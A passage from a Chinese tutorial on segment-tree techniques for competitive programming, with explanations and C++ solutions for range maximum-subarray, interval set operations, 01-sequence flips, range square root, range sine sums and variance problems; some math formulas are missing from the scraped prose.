void build(int idx, int l, int r) {
25
    tree[idx].l = l, tree[idx].r = r;
26
    if (l == r) {
27
        tree[idx].max = a[l];
28
        tree[idx].lmax = a[l];
29
        tree[idx].rmax = a[l];
30
        tree[idx].sum = a[l];
31
        return;
32
    }
33
    int mid = (l + r) >> 1;
34
    build(le(idx), l, mid);
35
    build(ri(idx), mid + 1, r);
36
    pushup(idx);
37
}
38

39
SegmentTree query(int idx, int l, int r) {
40
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx];
41
    int mid = (tree[idx].l + tree[idx].r) >> 1;
42
    if (l > mid) return query(ri(idx), l, r);
43
    if (r <= mid) return query(le(idx), l, r);
44
    SegmentTree L{}, R{}, res{};
45
    L = query(le(idx), l, r);
46
    R = query(ri(idx), l, r);
47
    res.max = max(max(L.max, R.max), L.rmax + R.lmax);
48
    res.lmax = max(L.lmax, L.sum + R.lmax);
49
    res.rmax = max(R.rmax, R.sum + L.rmax);
50
    res.sum = L.sum + R.sum;
51
    return res;
52
}
53

54
int main() {
55
    ios::sync_with_stdio(false);
56
    cin.tie(nullptr);
57
    cout.tie(nullptr);
58

59
    int n, m;
60
    cin >> n;
61
    for (int i = 1; i <= n; i++) cin >> a[i];
62
    build(1, 1, n);
63
    cin >> m;
64
    while (m--) {
65
        int l, r;
66
        cin >> l >> r;
67
        cout << query(1, l, r).max << endl;
68
    }
69
    return 0;
70
}

展开收起

有端点限制的最大子段和#

例题：GSS5 - Can you answer these queries V

难度：省选/NOI-

只要解决了端点问题它就变成 GSS1 了！——这不废话吗？

对于左右端点所在区间的位置情况进行讨论。

第一种，两端点区间无交集。那么两区间中间的区域是一定要选的，我们加上这一段的总和，然后合并左端点区间的最大后缀、右端点区间的最大前缀即可。

第二种，两区间有交集。它又可以分三类讨论，如下图：

发现三种位置关系可以用一个方法得到答案，讨论答案区间左右端点的分布：左右端点可能的分布是、，此时答案是前者最大后缀与后者最大前缀的和；或者是同属于，答案是这个区间的最大子段和（简化为 GSS1）；也可能是、，答案是前者最大后缀与后者最大前缀的和。最终就是三种情况取最大值。

为了减少特判，我们规定当查询的左边界大于右边界时即返回；为了避免区间求值出现端点重合而重复计算的情况，我们在最后减去重合端点的单点值（毕竟不带修）即可。

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
using namespace std;
5

6
typedef long long ll;
7

8
struct SegmentTree {
9
#define le(x) (x << 1)
10
#define ri(x) (x << 1 | 1)
11
#define leftSubtree(x) (tree[le(x)])
12
#define rightSubtree(x) (tree[ri(x)])
13
    int l, r, size;
14
    ll sum;
15
    ll max[3];
16
} tree[N << 2];
17
int a[N];
18

19
void pushup(int idx) {
20
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
21
    tree[idx].max[0] = max(leftSubtree(idx).max[0], leftSubtree(idx).sum + rightSubtree(idx).max[0]);
22
    tree[idx].max[1] = max(rightSubtree(idx).max[1], rightSubtree(idx).sum + leftSubtree(idx).max[1]);
23
    tree[idx].max[2] = max(
24
            {leftSubtree(idx).max[2], rightSubtree(idx).max[2], leftSubtree(idx).max[1] + rightSubtree(idx).max[0]});
25
}
26

27
void build(int idx, int l, int r) {
28
    tree[idx].l = l, tree[idx].r = r;
29
    tree[idx].size = r - l + 1;
30
    if (l == r) {
31
        tree[idx].sum = a[l];
32
        tree[idx].max[0] = tree[idx].max[1] = tree[idx].max[2] = a[l];
33
        return;
34
    }
35
    int mid = (l + r) >> 1;
36
    build(le(idx), l, mid);
37
    build(ri(idx), mid + 1, r);
38
    pushup(idx);
39
}
40

41
ll querySum(int idx, int l, int r) {
42
    if (l > r) return 0;
43
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum;
44
    int mid = (tree[idx].l + tree[idx].r) >> 1;
45
    ll ret = 0;
46
    if (l <= mid) ret += querySum(le(idx), l, r);
47
    if (r > mid) ret += querySum(ri(idx), l, r);
48
    return ret;
49
}
50

51
SegmentTree query(int idx, int l, int r) {
52
    if (l > r) return {0, 0, 0, 0, 0, 0, 0};
53
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx];
54
    int mid = (tree[idx].l + tree[idx].r) >> 1;
55
    if (l > mid) return query(ri(idx), l, r);
56
    if (r <= mid) return query(le(idx), l, r);
57
    SegmentTree L = query(le(idx), l, r);
58
    SegmentTree R = query(ri(idx), l, r);
59
    SegmentTree res{};
60
    res.sum = L.sum + R.sum;
61
    res.max[0] = max(L.max[0], L.sum + R.max[0]);
62
    res.max[1] = max(R.max[1], R.sum + L.max[1]);
63
    res.max[2] = max({L.max[2], R.max[2], L.max[1] + R.max[0]});
64
    return res;
65
}
66

67
int main() {
68
    ios::sync_with_stdio(false);
69
    cin.tie(nullptr);
70
    cout.tie(nullptr);
71

72
    int t;
73
    cin >> t;
74
    while (t--) {
75
        int n, m;
76
        cin >> n;
77
        for (int i = 1; i <= n; i++) cin >> a[i];
78
        build(1, 1, n);
79
        cin >> m;
80
        while (m--) {
81
            int l1, r1, l2, r2;
82
            cin >> l1 >> r1 >> l2 >> r2;
83
            if (r1 < l2)
84
                cout << query(1, l1, r1).max[1] + querySum(1, r1, l2) + query(1, l2, r2).max[0] - a[r1] - a[l2] << endl;
85
            else
86
                cout << max({query(1, l2, r1).max[2], query(1, l1, r1).max[1] + query(1, r1, r2).max[0] - a[r1],
87
                             query(1, l1, l2).max[1] +
88
                             query(1, l2, r2).max[0] - a[l2]}) << endl;
89
        }
90
    }
91

92
    return 0;
93
}

展开收起

实数域上整数端点的集合运算#

例题：P5568 [SDOI2008] 校门外的区间

难度：提高+/省选-

来源：山东 2008

维护变量：区间和、0/1推平标记、异或标记

考虑维护一个 0/1 串，记录集合中是否有对应位置的数。对于求并操作，相当于把读入的目标区间和集合的对应位置进行按位或运算，又因为读入的区间必定是全为 1 的表示，因此可以看作区间内推平为 1；对于求交操作，则是相当于按位与运算，且目标区间外需均推平为 0，而这对集合的对应区间无影响，综合来说就是区间外推平为 0。

然后再来考虑两种减法操作。对于原集合和目标区间的相对差集（操作），相当于原集合减去二者的交集，那么就是目标区间内推平为 0；而对于目标区间和原集合的相对差集（操作）就稍微复杂一些了，原理如下图：

相当于用目标区间减去二者交集。可以发现我们只要目标区间有但是集合里没有的元素，那么目标区间外可以推平为 0。此时再让集合中有的数变没，再让没有的数出现，不难想到异或（按位 0/1 翻转）。综上，需要区间外推平为 0，再区间内异或；对于最后一个求对称差的操作，从符号可知仔细研究规则即可发现就是区间内异或。

维护两种标记时要额外注意优先级问题。比较优先级时常用假设当前区间存在其他标记的方法来推理。当推平操作下发到一个已有异或标记的区间时，无论异或结果如何都不会改变推平的事实，可知推平标记优先级大于异或标记。当然这不代表要在区间推平下传结束后一并清空区间异或标记，详见前文提到的“标记置零问题”。

最后是处理输入输出的开闭区间。可以把原始下标都翻倍，闭区间端点的下标是偶数，开区间就是奇数。输出时可以暴力统计前缀和，然后处理出连续区间，根据下标奇偶性即可推知答案区间的开闭，再减半取整输出。

1
#include <bits/stdc++.h>
2
#define N 140000
3
#define UNION 1
4
#define INTERSECT 2
5
#define XOR 3
6
using namespace std;
7

8
struct SegmentTree {
9
#define le(x) (x << 1)
10
#define ri(x) (x << 1 | 1)
11
#define leftSubtree(x) (tree[le(x)])
12
#define rightSubtree(x) (tree[ri(x)])
13
    int l, r, size;
14
    int sum = 0;
15
    bool flagXor;
16
    int flagRev;
17
} tree[N << 2];
18
int tmp[N];
19

20
void pushup(int idx) {
21
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
22
}
23

24
void pushdown(int idx) {
25
    if (tree[idx].flagRev != -1) {
26
        leftSubtree(idx).flagXor = false;
27
        leftSubtree(idx).flagRev = tree[idx].flagRev;
28
        leftSubtree(idx).sum = leftSubtree(idx).size * tree[idx].flagRev;
29
        rightSubtree(idx).flagXor = false;
30
        rightSubtree(idx).flagRev = tree[idx].flagRev;
31
        rightSubtree(idx).sum = rightSubtree(idx).size * tree[idx].flagRev;
32
        tree[idx].flagRev = -1;
33
    }
34
    if (tree[idx].flagXor) {
35
        leftSubtree(idx).flagXor ^= true;
36
        leftSubtree(idx).sum = leftSubtree(idx).size - leftSubtree(idx).sum;
37
        rightSubtree(idx).flagXor ^= true;
38
        rightSubtree(idx).sum = rightSubtree(idx).size - rightSubtree(idx).sum;
39
        tree[idx].flagXor = false;
40
    }
41
}
42

43
void build(int idx, int l, int r) {
44
    tree[idx].l = l, tree[idx].r = r;
45
    tree[idx].size = r - l + 1;
46
    tree[idx].flagRev = -1;
47
    if (l == r) return;
48
    int mid = (l + r) >> 1;
49
    build(le(idx), l, mid);
50
    build(ri(idx), mid + 1, r);
51
    pushup(idx);
52
}
53

54
void modify(int idx, int l, int r, int type) {
55
    if (l <= tree[idx].l && tree[idx].r <= r) {
56
        if (type == UNION) {
57
            // 区间推平成1
58
            tree[idx].flagRev = 1;
59
            tree[idx].flagXor = false;
60
            tree[idx].sum = tree[idx].size;
61
        } else if (type == XOR) {
62
            // 异或
63
            tree[idx].flagXor ^= true;
64
            tree[idx].sum = tree[idx].size - tree[idx].sum;
65
        } else if (type == INTERSECT) {
66
            // 区间推平为0
67
            tree[idx].flagRev = 0;
68
            tree[idx].flagXor = false;
69
            tree[idx].sum = 0;
70
        }
71
        return;
72
    }
73
    pushdown(idx);
74
    int mid = (tree[idx].l + tree[idx].r) >> 1;
75
    if (l <= mid) modify(le(idx), l, r, type);
76
    if (r > mid) modify(ri(idx), l, r, type);
77
    pushup(idx);
78
}
79

80
int query(int idx, int l, int r) {
81
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum;
82
    pushdown(idx);
83
    int mid = (tree[idx].l + tree[idx].r) >> 1;
84
    int ret = 0;
85
    if (l <= mid) ret += query(le(idx), l, r);
86
    if (r > mid) ret += query(ri(idx), l, r);
87
    return ret;
88
}
89

90
int main() {
91
    ios::sync_with_stdio(false);
92
    cin.tie(nullptr);
93
    cout.tie(nullptr);
94

95
    char op, lpath, comma, rpath;
96
    int a, b, R = 0;
97
    build(1, 0, 65535 << 1);
98
    while (cin >> op) {
99
        cin >> lpath >> a >> comma >> b >> rpath;
100
        a <<= 1, b <<= 1;
101
        if (lpath == '(') a++;
102
        if (rpath == ')') b--;
103
        if (b < a) continue;
104
        R = max(R, b); // 记录最大右端点
105
        switch (op) {
106
            case 'U': // 并集 目标区间内推平为1
107
                modify(1, a, b, UNION);
108
                break;
109
            case 'D': // 相对差集 目标区间内推平为0
110
                modify(1, a, b, INTERSECT);
111
                break;
112
            case 'I': // 交集 目标区间外推平为0
113
                if (a) modify(1, 0, a - 1, INTERSECT);
114
                if (b < 65535 << 1) modify(1, b + 1, 65535 << 1, INTERSECT);
115
                break;
116
            case 'C': // 逆相对差集 目标区间内异或，且区间外推平为0
117
                modify(1, a, b, XOR);
118
                if (a) modify(1, 0, a - 1, INTERSECT);
119
                if (b < 65535 << 1) modify(1, b + 1, 65535 << 1, INTERSECT);
120
                break;
121
            case 'S': // 对称差 目标区间内异或
122
            default:
123
                modify(1, a, b, XOR);
124
                break;
125
        }
126
    }
127
    int t = query(1, 0, R); // 检查前缀和，为 0 则为空集
128
    if (!t) cout << "empty set" << endl;
129
    else {
130
        for (int i = 0; i <= R + 2; i++) tmp[i] = query(1, 0, i); // 前缀和
131
        int last = 0, lastI = -2;
132
        for (int i = 0; i <= R; i++) {
133
            if (tmp[i] - last) {
134
                if (i - lastI > 1) cout << (i & 1 ? '(' : '[') << (i >> 1) << ','; // 根据奇偶性判断括号
135
                if (tmp[i + 1] == tmp[i]) cout << (i + 1 >> 1) << (i & 1 ? ')' : ']') << ' ';
136
                last = tmp[i];
137
                lastI = i;
138
            }
139
        }
140
    }
141

142
    return 0;
143
}

展开收起

区间推平+区间翻转+最大连续数（01串）#

例题：P2572 序列操作

题目难度：提高+/省选-

题目来源：四川 2010 各省省选

维护变量：区间左端最大连续数、区间右端最大连续数、区间最大连续数、区间大小、区间和

最大连续数考虑三种情况：

左区间最大连续数
右区间最大连续数
跨区间，左区间右端最大连续数与右区间左端最大连续数

最大左端连续数（右端同理）考虑两种情况：

不可跨区间，为左区间最大左端连续数
可以跨区间（左区间均为同一个数），那么为左区间最大左端连续数与右区间最大左端连续数之和

标记优先级推平大于翻转。注意当前区间如果已经存在一个推平标记，那么下传翻转标记时就需要把推平标记取反。推平后相应数字的最大连续数均设置成区间长度、另一个数字的最大连续数设为，此时的区间的和就是该区间的长度减去先前记录的区间和。

1
#include <bits/stdc++.h>
2
#define N 100010
3
using namespace std;
4

5
struct SegmentTree {
6
#define le(x) (x << 1)
7
#define ri(x) (x << 1 | 1)
8
#define leftSubtree(idx) (tree[le(idx)])
9
#define rightSubtree(idx) (tree[ri(idx)])
10
    int l, r;
11
    int que, rev;
12
    int lmax[2], rmax[2], max[2];
13
    int sum, size;
14
} tree[N << 2];
15

16
int a[N];
17

18
void pushup(int idx) {
19
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
20
    for (int i = 0; i <= 1; i++) {
21
        tree[idx].max[i] = max(max(leftSubtree(idx).max[i], rightSubtree(idx).max[i]), leftSubtree(idx).rmax[i] + rightSubtree(idx).lmax[i]); // 最大连续数的三种情况
22
        tree[idx].lmax[i] = leftSubtree(idx).lmax[i]; // 左端最大连续为左子树的左端最大连续
23
        if (leftSubtree(idx).sum == i * leftSubtree(idx).size) tree[idx].lmax[i] += rightSubtree(idx).lmax[i]; // 可以跨区间，加入右子树的左端最大连续
24
        tree[idx].rmax[i] = rightSubtree(idx).rmax[i]; // 右端最大连续为右子树的右端最大连续
25
        if (rightSubtree(idx).sum == i * rightSubtree(idx).size) tree[idx].rmax[i] += leftSubtree(idx).rmax[i]; // 可以跨区间，加入左子树的右端最大连续
26
    }
27
}
28

29
void pushdown(int idx) {
30
    if (tree[idx].que >= 0) {
31
        int tag = tree[idx].que; // 下传推平标记
32
        leftSubtree(idx).lmax[tag] = leftSubtree(idx).rmax[tag] = leftSubtree(idx).max[tag] = leftSubtree(idx).size; // 推平的那个数的最大连续均变为子树大小
33
        rightSubtree(idx).lmax[tag] = rightSubtree(idx).rmax[tag] = rightSubtree(idx).max[tag] = rightSubtree(idx).size;
34
        leftSubtree(idx).lmax[tag ^ 1] = leftSubtree(idx).rmax[tag ^ 1] = leftSubtree(idx).max[tag ^ 1] = 0; // 反之，另一个数的最大连续均变为0
35
        rightSubtree(idx).lmax[tag ^ 1] = rightSubtree(idx).rmax[tag ^ 1] = rightSubtree(idx).max[tag ^ 1] = 0;
36

37
        leftSubtree(idx).sum = leftSubtree(idx).size * tag; // 维护和
38
        rightSubtree(idx).sum = rightSubtree(idx).size * tag;
39

40
        leftSubtree(idx).que = tag;
41
        leftSubtree(idx).rev = 0;
42
        rightSubtree(idx).que = tag;
43
        rightSubtree(idx).rev = 0;
44
        tree[idx].que = -1;
45
        tree[idx].rev = 0;
46
    }
47
    if (tree[idx].rev) {
48
        leftSubtree(idx).sum = leftSubtree(idx).size - leftSubtree(idx).sum;
49
        rightSubtree(idx).sum = rightSubtree(idx).size - rightSubtree(idx).sum;
50
        swap(leftSubtree(idx).lmax[0], leftSubtree(idx).lmax[1]); // 0/1互换，最大连续也互换
51
        swap(leftSubtree(idx).rmax[0], leftSubtree(idx).rmax[1]);
52
        swap(leftSubtree(idx).max[0], leftSubtree(idx).max[1]);
53
        swap(rightSubtree(idx).lmax[0], rightSubtree(idx).lmax[1]);
54
        swap(rightSubtree(idx).rmax[0], rightSubtree(idx).rmax[1]);
55
        swap(rightSubtree(idx).max[0], rightSubtree(idx).max[1]);
56

57
        if (leftSubtree(idx).que >= 0) leftSubtree(idx).que ^= 1; // 如果先有了推平，那么相当于推平成另一个数
58
        else leftSubtree(idx).rev ^= 1;
59
        if (rightSubtree(idx).que >= 0) rightSubtree(idx).que ^= 1;
60
        else rightSubtree(idx).rev ^= 1;
61

62
        tree[idx].rev = 0;
63
    }
64
}
65

66
void build(int idx, int l, int r) {
67
    tree[idx].l = l, tree[idx].r = r;
68
    tree[idx].size = r - l + 1;
69
    tree[idx].que = -1;
70
    if (l == r) {
71
        tree[idx].sum = a[l];
72
        tree[idx].lmax[a[l]] = tree[idx].rmax[a[l]] = tree[idx].max[a[l]] = 1;
73
        tree[idx].lmax[a[l] ^ 1] = tree[idx].rmax[a[l] ^ 1] = tree[idx].max[a[l] ^ 1] = 0;
74
        return;
75
    }
76
    int mid = (l + r) >> 1;
77
    build(le(idx), l, mid);
78
    build(ri(idx), mid + 1, r);
79
    pushup(idx);
80
}
81

82
void modify(int idx, int l, int r, int x) {
83
    pushdown(idx);
84
    if (l <= tree[idx].l && tree[idx].r <= r) {
85
        tree[idx].sum = x * tree[idx].size;
86
        tree[idx].que = x;
87
        tree[idx].lmax[x] = tree[idx].rmax[x] = tree[idx].max[x] = tree[idx].size;
88
        tree[idx].lmax[x ^ 1] = tree[idx].rmax[x ^ 1] = tree[idx].max[x ^ 1] = 0;
89
        return;
90
    }
91
    int mid = (tree[idx].l + tree[idx].r) >> 1;
92
    if (l <= mid) modify(le(idx), l, r, x);
93
    if (r > mid) modify(ri(idx), l, r, x);
94
    pushup(idx);
95
}
96

97
void reverse(int idx, int l, int r) {
98
    pushdown(idx);
99
    if (l <= tree[idx].l && tree[idx].r <= r) {
100
        tree[idx].sum = tree[idx].size - tree[idx].sum;
101
        tree[idx].rev ^= 1;
102
        swap(tree[idx].lmax[0], tree[idx].lmax[1]);
103
        swap(tree[idx].rmax[0], tree[idx].rmax[1]);
104
        swap(tree[idx].max[0], tree[idx].max[1]);
105
        return;
106
    }
107
    int mid = (tree[idx].l + tree[idx].r) >> 1;
108
    if (l <= mid) reverse(le(idx), l, r);
109
    if (r > mid) reverse(ri(idx), l, r);
110
    pushup(idx);
111
}
112

113
int queryTotal(int idx, int l, int r) {
114
    pushdown(idx);
115
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum;
116
    int mid = (tree[idx].l + tree[idx].r) >> 1;
117
    int res = 0;
118
    if (l <= mid) res += queryTotal(le(idx), l, r);
119
    if (r > mid) res += queryTotal(ri(idx), l, r);
120
    return res;
121
}
122

123
SegmentTree queryMax(int idx, int l, int r) {
124
    pushdown(idx);
125
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx];
126
    int mid = (tree[idx].l + tree[idx].r) >> 1;
127
    if (l > mid) return queryMax(ri(idx), l, r);
128
    if (r <= mid) return queryMax(le(idx), l, r);
129
    SegmentTree L{}, R{}, res{};
130
    L = queryMax(le(idx), l, r);
131
    R = queryMax(ri(idx), l, r);
132
    for (int i = 0; i <= 1; i++) {
133
        res.max[i] = max(max(L.max[i], R.max[i]), L.rmax[i] + R.lmax[i]);
134
        res.lmax[i] = L.lmax[i];
135
        if (L.sum == i * L.size) res.lmax[i] += R.lmax[i];
136
        res.rmax[i] = R.rmax[i];
137
        if (R.sum == i * R.size) res.rmax[i] += L.rmax[i];
138
    }
139
    res.sum = L.sum + R.sum;
140
    res.size = L.size + R.size;
141
    return res;
142
}
143

144
int main() {
145
    ios::sync_with_stdio(false);
146
    cin.tie(nullptr);
147
    cout.tie(nullptr);
148

149
    int n, m;
150
    cin >> n >> m;
151
    for (int i = 1; i <= n; i++) cin >> a[i];
152
    build(1, 1, n);
153
    while (m--) {
154
        int op, x, y;
155
        cin >> op >> x >> y;
156
        x++, y++; // 勿删！
157
        if (op == 0) modify(1, x, y, 0);
158
        else if (op == 1) modify(1, x, y, 1);
159
        else if (op == 2) reverse(1, x, y);
160
        else if (op == 3) cout << queryTotal(1, x, y) << endl;
161
        else cout << queryMax(1, x, y).max[1] << endl;
162
    }
163
    return 0;
164
}

展开收起

维护数学运算#

针对区间待修和区间查询的问题，我们一般会首先想到线段树，在一些区间数学操作的题目中也不例外。尽管这些数学运算并不一定具备结合律，有时我们仍然可以通过它们的其他性质（短时性，不会进行太多次操作就会变为可做的形式）来转化为简单维护问题去解决。本节就精选了一些线段树维护数学运算的例子。

区间开方+区间和#

例题：GSS4 - Can you answer these queries IV

题目难度：提高+/省选-

维护变量：区间和、区间开方判别标记

由于平方根下求和没有计算公式，但是考虑到像这样的大数据，在经过次开方后都会变成，而。这就是开方运算的短时性。它启发我们把区间修改变为暴力单点修改，记录一下当前数开方后是否等于或，如果是则给它做一个标记、并向上更新标记。如果区间被标记，更改时则无需递归进去，简化了大量操作。

1
#include <bits/stdc++.h>
2
#define N 100010
3
using namespace std;
4

5
typedef long long ll;
6

7
struct SegmentTree {
8
#define le(x) (x << 1)
9
#define ri(x) (x << 1 | 1)
10
#define leftSubtree(idx) (tree[le(idx)])
11
#define rightSubtree(idx) (tree[ri(idx)])
12
    int l, r;
13
    ll sum;
14
} tree[N << 2];
15

16
ll a[N];
17

18
inline void pushup(int idx) {
19
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
20
}
21

22
void build(int idx, int l, int r) {
23
    tree[idx].l = l, tree[idx].r = r;
24
    if (l == r) {
25
        tree[idx].sum = a[l];
26
        return;
27
    }
28
    int mid = (l + r) >> 1;
29
    build(le(idx), l, mid);
30
    build(ri(idx), mid + 1, r);
31
    pushup(idx);
32
}
33

34
inline void modify(int idx, int l, int r) {
35
    if (tree[idx].sum <= tree[idx].r - tree[idx].l + 1) return; // 已经全为 0/1，开方后不变
36
    if (tree[idx].l == tree[idx].r) {
37
        tree[idx].sum = static_cast<ll>(sqrt(tree[idx].sum)); // 否则暴力单点修改
38
        return;
39
    }
40
    int mid = (tree[idx].l + tree[idx].r) >> 1;
41
    if (l <= mid) modify(le(idx), l, r);
42
    if (r > mid) modify(ri(idx), l, r);
43
    pushup(idx);
44
}
45

46
inline ll query(int idx, int l, int r) {
47
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum;
48
    int mid = (tree[idx].l + tree[idx].r) >> 1;
49
    ll res = 0;
50
    if (l <= mid) res += query(le(idx), l, r);
51
    if (r > mid) res += query(ri(idx), l, r);
52
    return res;
53
}
54

55
int main() {
56
    ios::sync_with_stdio(false);
57
    cin.tie(nullptr);
58
    cout.tie(nullptr);
59

60
    int n, c = 0;
61
    while (cin >> n) {
62
        memset(tree, 0, sizeof tree);
63
        memset(a, 0, sizeof a);
64
        for (int i = 1; i <= n; i++) cin >> a[i];
65
        build(1, 1, n);
66

67
        cout << "Case #" << ++c << ":\n";
68
        int q;
69
        cin >> q;
70
        while (q--) {
71
            int op, x, y;
72
            cin >> op >> x >> y;
73
            if (x > y) swap(x, y);
74
            if (op == 0) modify(1, x, y);
75
            else cout << query(1, x, y) << '\n';
76
        }
77
        cout << '\n';
78
    }
79
    return 0;
80
}

展开收起

区间加+区间sin和#

例题：P6327 区间加区间 sin 和

题目难度：提高+/省选-

维护变量：区间和、区间和、角度加法懒标记

正余弦函数显然具备结合律。根据正弦值的和角公式：，这里维护一个加法懒标记，在下传时使用和角公式一次性计算、同时维护和即可。注意需要把相关和值存成变量再更新，否则答案错误（这样连样例都能过）。

1
#include <bits/stdc++.h>
2
#define N 200010
3
using namespace std;
4

5
const double EPS = 1e-8;
6

7
struct SegmentTree {
8
#define le(x) (x << 1)
9
#define ri(x) (x << 1 | 1)
10
#define leftSubtree(x) (tree[le(x)])
11
#define rightSubtree(x) (tree[ri(x)])
12
    int l, r, size;
13
    double sin, cos;
14
    double lazy;
15
} tree[N << 2];
16
double a[N];
17

18
void pushup(int idx) {
19
    tree[idx].sin = leftSubtree(idx).sin + rightSubtree(idx).sin;
20
    tree[idx].cos = leftSubtree(idx).cos + rightSubtree(idx).cos;
21
}
22

23
void pushdown(int idx) {
24
    if (abs(tree[idx].lazy) > EPS) {
25
        double SIN = sin(tree[idx].lazy), COS = cos(tree[idx].lazy); // 需要先存成变量，否则变量中途修改会影响其他变量
26
        double LSIN = leftSubtree(idx).sin, LCOS = leftSubtree(idx).cos;
27
        double RSIN = rightSubtree(idx).sin, RCOS = rightSubtree(idx).cos;
28

29
        leftSubtree(idx).sin = SIN * LCOS + COS * LSIN; // sin 和角公式
30
        leftSubtree(idx).cos = COS * LCOS - SIN * LSIN; // cos 和角公式
31
        leftSubtree(idx).lazy += tree[idx].lazy;
32
        rightSubtree(idx).sin = SIN * RCOS + COS * RSIN;
33
        rightSubtree(idx).cos = COS * RCOS - SIN * RSIN;
34
        rightSubtree(idx).lazy += tree[idx].lazy;
35

36
        tree[idx].lazy = 0.0;
37
    }
38
}
39

40
void build(int idx, int l, int r) {
41
    tree[idx].l = l, tree[idx].r = r;
42
    tree[idx].size = r - l + 1;
43
    tree[idx].lazy = 0.0;
44
    if (l == r) {
45
        tree[idx].sin = sin(a[l]);
46
        tree[idx].cos = cos(a[l]);
47
        return;
48
    }
49
    int mid = (l + r) >> 1;
50
    build(le(idx), l, mid);
51
    build(ri(idx), mid + 1, r);
52
    pushup(idx);
53
}
54

55
void modify(int idx, int l, int r, double x) {
56
    if (l <= tree[idx].l && tree[idx].r <= r) {
57
        double SIN = tree[idx].sin, COS = tree[idx].cos; // 同理，需要预先存成变量
58
        double SINX = sin(x), COSX = cos(x);
59
        tree[idx].sin = SIN * COSX + COS * SINX;
60
        tree[idx].cos = COS * COSX - SIN * SINX;
61
        tree[idx].lazy += x;
62
        return;
63
    }
64
    pushdown(idx);
65
    int mid = (tree[idx].l + tree[idx].r) >> 1;
66
    if (l <= mid) modify(le(idx), l, r, x);
67
    if (r > mid) modify(ri(idx), l, r, x);
68
    pushup(idx);
69
}
70

71
double query(int idx, int l, int r) {
72
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sin;
73
    pushdown(idx);
74
    int mid = (tree[idx].l + tree[idx].r) >> 1;
75
    double ret = 0.0;
76
    if (l <= mid) ret += query(le(idx), l, r);
77
    if (r > mid) ret += query(ri(idx), l, r);
78
    return ret;
79
}
80

81
int main() {
82
    ios::sync_with_stdio(false);
83
    cin.tie(nullptr);
84
    cout.tie(nullptr);
85

86
    int n, m;
87
    cin >> n;
88
    for (int i = 1; i <= n; i++) cin >> a[i];
89
    build(1, 1, n);
90
    cin >> m;
91
    while (m--) {
92
        int op, l, r;
93
        double v;
94
        cin >> op >> l >> r;
95
        if (op == 1) {
96
            cin >> v;
97
            modify(1, l, r, v);
98
        } else cout << fixed << setprecision(1) << query(1, l, r) << endl;
99
    }
100

101
    return 0;
102
}

展开收起

区间加+区间平均数+区间方差#

例题：P1471 方差

题目难度：提高+/省选-

维护变量：区间平方和、区间和

方差公式：，展开化简得。因此维护平方和用于计算分数部分。进行区间加时，维护平方和有这个公式：。具备结合律。我们按照公式维护即可。

1
#include <bits/stdc++.h>
2
#define N 100010
3
using namespace std;
4

5
typedef long long ll;
6

7
const double EPS = 1e-8;
8

9
struct SegmentTree {
10
#define le(x) (x << 1)
11
#define ri(x) (x << 1 | 1)
12
#define leftSubtree(x) (tree[le(x)])
13
#define rightSubtree(x) (tree[ri(x)])
14
    int l, r, size;
15
    double sum, sumSq;
16
    double lazy, lazySq;
17
} tree[N << 2];
18
double a[N];
19

20
void pushup(int idx) {
21
    tree[idx].sum = leftSubtree(idx).sum + rightSubtree(idx).sum;
22
    tree[idx].sumSq = leftSubtree(idx).sumSq + rightSubtree(idx).sumSq;
23
}
24

25
void pushdown(int idx) {
26
    if (abs(tree[idx].lazySq) > EPS) {
27
        leftSubtree(idx).sumSq += 2 * leftSubtree(idx).sum * tree[idx].lazySq + leftSubtree(idx).size * tree[idx].lazySq * tree[idx].lazySq;
28
        leftSubtree(idx).lazySq += tree[idx].lazySq;
29
        rightSubtree(idx).sumSq += 2 * rightSubtree(idx).sum * tree[idx].lazySq + rightSubtree(idx).size * tree[idx].lazySq * tree[idx].lazySq;
30
        rightSubtree(idx).lazySq += tree[idx].lazySq;
31
        tree[idx].lazySq = 0;
32
    }
33
    if (abs(tree[idx].lazy) > EPS) {
34
        leftSubtree(idx).sum += leftSubtree(idx).size * tree[idx].lazy;
35
        leftSubtree(idx).lazy += tree[idx].lazy;
36
        rightSubtree(idx).sum += rightSubtree(idx).size * tree[idx].lazy;
37
        rightSubtree(idx).lazy += tree[idx].lazy;
38
        tree[idx].lazy = 0;
39
    }
40
}
41

42
void build(int idx, int l, int r) {
43
    tree[idx].l = l, tree[idx].r = r;
44
    tree[idx].size = r - l + 1;
45
    if (l == r) {
46
        tree[idx].sum = a[l];
47
        tree[idx].sumSq = a[l] * a[l];
48
        return;
49
    }
50
    int mid = (l + r) >> 1;
51
    build(le(idx), l, mid);
52
    build(ri(idx), mid + 1, r);
53
    pushup(idx);
54
}
55

56
void modify(int idx, int l, int r, double x) {
57
    if(l <= tree[idx].l && tree[idx].r <= r) {
58
        tree[idx].sumSq += 2 * tree[idx].sum * x + tree[idx].size * x * x;
59
        tree[idx].lazySq += x;
60
        tree[idx].sum += x * tree[idx].size;
61
        tree[idx].lazy += x;
62
        return;
63
    }
64
    pushdown(idx);
65
    int mid = (tree[idx].l + tree[idx].r) >> 1;
66
    if (l <= mid) modify(le(idx), l, r, x);
67
    if (r > mid) modify(ri(idx), l, r, x);
68
    pushup(idx);
69
}
70

71
double querySum(int idx, int l, int r) {
72
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sum;
73
    pushdown(idx);
74
    int mid = (tree[idx].l + tree[idx].r) >> 1;
75
    double ret = 0.0;
76
    if (l <= mid) ret += querySum(le(idx), l, r);
77
    if (r > mid) ret += querySum(ri(idx), l, r);
78
    return ret;
79
}
80

81
double querySumSq(int idx, int l, int r) {
82
    if (l <= tree[idx].l && tree[idx].r <= r) return tree[idx].sumSq;
83
    pushdown(idx);
84
    int mid = (tree[idx].l + tree[idx].r) >> 1;
85
    double ret = 0.0;
86
    if (l <= mid) ret += querySumSq(le(idx), l, r);
87
